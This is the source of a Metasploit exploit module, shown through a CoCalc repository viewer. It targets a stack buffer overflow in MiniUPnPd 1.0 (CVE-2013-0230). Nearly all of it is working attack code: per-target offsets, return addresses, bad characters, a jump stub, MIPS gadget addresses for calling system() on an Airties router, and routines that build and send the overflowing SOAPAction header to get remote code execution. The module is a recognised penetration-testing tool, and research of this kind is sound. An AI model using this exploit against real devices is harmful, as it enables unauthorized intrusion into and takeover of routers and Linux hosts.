Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/upnp/miniupnpd_soap_bof.rb
19721 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
include Msf::Exploit::Remote::HttpClient
8
include Msf::Exploit::CmdStager
9
10
Rank = NormalRanking
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'MiniUPnPd 1.0 Stack Buffer Overflow Remote Code Execution',
17
'Description' => %q{
18
This module exploits the MiniUPnP 1.0 SOAP stack buffer overflow vulnerability
19
present in the SOAPAction HTTP header handling.
20
},
21
'Author' => [
22
'hdm', # Vulnerability discovery
23
'Dejan Lukan', # Metasploit module, debian target
24
'Onur ALANBEL', # Exploit for Airties target
25
'Michael Messner <devnull[at]s3cur1ty.de>' # Metasploit module, Airties target
26
],
27
'License' => MSF_LICENSE,
28
'DefaultOptions' => { 'EXITFUNC' => 'process' },
29
'Platform' => 'linux',
30
'Arch' => [ARCH_X86, ARCH_MIPSBE],
31
'References' => [
32
[ 'CVE', '2013-0230' ],
33
[ 'OSVDB', '89624' ],
34
[ 'BID', '57608' ],
35
[ 'URL', 'https://www.rapid7.com/blog/post/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play']
36
],
37
'Payload' => {
38
'DisableNops' => true
39
},
40
'Targets' => [
41
[
42
'Debian GNU/Linux 6.0 / MiniUPnPd 1.0',
43
{
44
'Ret' => 0x0804ee43, # pop ebp # ret # from miniupnpd
45
'Offset' => 2123,
46
'Arch' => ARCH_X86,
47
# the byte '\x22' is the '"' character and the miniupnpd scans for that character in the
48
# input, which is why it can't be part of the shellcode (otherwise the vulnerable part
49
# of the program is never reached)
50
'Payload' =>
51
{
52
'Space' => 2060,
53
'BadChars' => "\x00\x22"
54
},
55
:callback => :target_debian
56
}
57
],
58
[
59
'Airties RT-212 v1.2.0.23 / MiniUPnPd 1.0',
60
{
61
'Offset' => 2048,
62
'LibcBase' => 0x2aabd000,
63
'System' => 0x00031AC0,
64
'CallSystem' => 0x0001CC94, # prepare $a0 and jump to $s0
65
'Fingerprint' => 'AirTies/ASP 1.0 UPnP/1.0 miniupnpd/1.0',
66
'Arch' => ARCH_MIPSBE,
67
:callback => :target_airties
68
}
69
]
70
],
71
'DefaultTarget' => 0,
72
'Privileged' => false,
73
'DisclosureDate' => '2013-03-27',
74
'Notes' => {
75
'Stability' => [CRASH_SAFE],
76
'SideEffects' => [ARTIFACTS_ON_DISK],
77
'Reliability' => []
78
}
79
)
80
)
81
82
register_options([
83
Opt::RPORT(5555),
84
])
85
86
deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
87
end
88
89
def check
90
begin
91
res = send_request_cgi({
92
'method' => 'POST',
93
'uri' => '/'
94
})
95
rescue ::Rex::ConnectionError
96
return Exploit::CheckCode::Safe
97
end
98
99
fingerprints = targets.collect { |t| t['Fingerprint'] }
100
fingerprints.delete(nil)
101
102
if res && fingerprints.include?(res.headers['Server'])
103
vprint_status("Fingerprint: #{res.headers['Server']}")
104
return Exploit::CheckCode::Detected
105
end
106
107
Exploit::CheckCode::Unknown
108
end
109
110
def exploit
111
unless respond_to?(target[:callback])
112
fail_with(Failure::BadConfig, 'Invalid target specified: no callback function defined')
113
end
114
115
send(target[:callback])
116
end
117
118
def target_debian
119
#
120
# Build the SOAP Exploit
121
#
122
# jmp 0x2d ; jump forward 0x2d bytes (jump right after the '#' char)
123
sploit = "\xeb\x2d"
124
125
# a valid action
126
sploit += 'n:schemas-upnp-org:service:WANIPConnection:1#'
127
128
# payload
129
sploit += payload.encoded
130
131
# nops
132
sploit += rand_text(target['Offset'] - sploit.length - 16)
133
134
# overwrite registers on stack: the values are not used, so we can overwrite them with anything
135
sploit += rand_text(4) # overwrite EBX
136
sploit += rand_text(4) # overwrite ESI
137
sploit += rand_text(4) # overwrite EDI
138
sploit += rand_text(4) # overwrite EBP
139
140
# Overwrite EIP with addresss of "pop ebp, ret", because the second value on the
141
# stack points directly to the string after 'Soapaction: ', which is why we must
142
# throw the first value on the stack away, which we're doing with the pop ebp
143
# instruction. Then we're returning to the next value on the stack, which is
144
# exactly the address that we want.
145
sploit += [target.ret].pack('V')
146
147
# the ending " character is necessary for the vulnerability to be reached
148
sploit += '"'
149
150
# data sent in the POST body
151
data =
152
"<?xml version='1.0' encoding=\"UTF-8\"?>\r\n" \
153
"<SOAP-ENV:Envelope\r\n" \
154
" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"\r\n" \
155
" xmlns:SOAP-ENC=\"http://schemas.xmlsoap.org/soap/encoding/\"\r\n" \
156
" xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\"\r\n" \
157
">\r\n" \
158
"<SOAP-ENV:Body>\r\n" \
159
"<ns1:action xmlns:ns1=\"urn:schemas-upnp-org:service:WANIPConnection:1\" SOAP-ENC:root=\"1\">\r\n" \
160
"</ns1:action>\r\n" \
161
"</SOAP-ENV:Body>\r\n" \
162
"</SOAP-ENV:Envelope>\r\n"
163
164
#
165
# Build and send the HTTP request
166
#
167
print_status("Sending exploit to victim #{target.name}...")
168
send_request_cgi({
169
'method' => 'POST',
170
'uri' => '/',
171
'headers' => {
172
'SOAPAction' => sploit
173
},
174
'data' => data
175
})
176
177
# disconnect from the server
178
disconnect
179
end
180
181
def target_airties
182
print_status("Sending exploit to victim #{target.name}...")
183
execute_cmdstager(
184
flavor: :echo
185
)
186
end
187
188
def execute_command(cmd, _opts)
189
# Build the SOAP Exploit
190
# a valid action
191
sploit = 'n:schemas-upnp-org:service:WANIPConnection:1#'
192
sploit << rand_text_alpha_upper(target['Offset'])
193
sploit << [target['LibcBase'] + target['System']].pack('N') # s0 - address of system
194
sploit << rand_text_alpha_upper(24) # $s1 - $s6
195
sploit << [target['LibcBase'] + target['CallSystem']].pack('N')
196
# 0001CC94 addiu $a0, $sp, 0x18
197
# 0001CC98 move $t9, $s0
198
# 0001CC9C jalr $t9
199
# 0001CCA0 li $a1, 1
200
201
sploit << rand_text_alpha_upper(24) # filler
202
sploit << cmd
203
204
# data sent in the POST body
205
data =
206
"<?xml version='1.0' encoding=\"UTF-8\"?>\r\n" \
207
"<SOAP-ENV:Envelope\r\n" \
208
" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"\r\n" \
209
" xmlns:SOAP-ENC=\"http://schemas.xmlsoap.org/soap/encoding/\"\r\n" \
210
" xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\"\r\n" \
211
">\r\n" \
212
"<SOAP-ENV:Body>\r\n" \
213
"<ns1:action xmlns:ns1=\"urn:schemas-upnp-org:service:WANIPConnection:1\" SOAP-ENC:root=\"1\">\r\n" \
214
"</ns1:action>\r\n" \
215
"</SOAP-ENV:Body>\r\n" \
216
"</SOAP-ENV:Envelope>\r\n"
217
218
send_request_cgi({
219
'method' => 'POST',
220
'uri' => '/',
221
'headers' =>
222
{
223
'SOAPAction' => sploit
224
},
225
'data' => data
226
})
227
end
228
end
229
230